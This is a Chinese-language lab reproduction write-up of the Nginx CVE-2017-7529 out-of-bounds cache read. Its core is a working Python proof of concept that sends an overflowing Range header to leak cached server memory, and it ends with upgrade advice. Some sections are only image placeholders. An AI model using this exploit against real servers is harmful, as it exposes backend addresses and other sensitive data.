1.漏洞描述

2.影响版本

Nginx version 0.5.6 - 1.13.2

3.环境搭建

Nginx越界读取缓存漏洞 CVE-2017-7529-LMLPHP

Nginx越界读取缓存漏洞 CVE-2017-7529-LMLPHP

访问127.0.0.1:8080

Nginx越界读取缓存漏洞 CVE-2017-7529-LMLPHP

4.漏洞复现

使用POC 进行验证

Nginx越界读取缓存漏洞 CVE-2017-7529-LMLPHP

5.漏洞POC

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
   print("%s url" % (sys.argv[0]))
   print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
   sys.exit()

headers = {
   'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
   n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

6.漏洞修复建议

攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息,建议通过升级版本及时修复此漏洞



07-10 11:40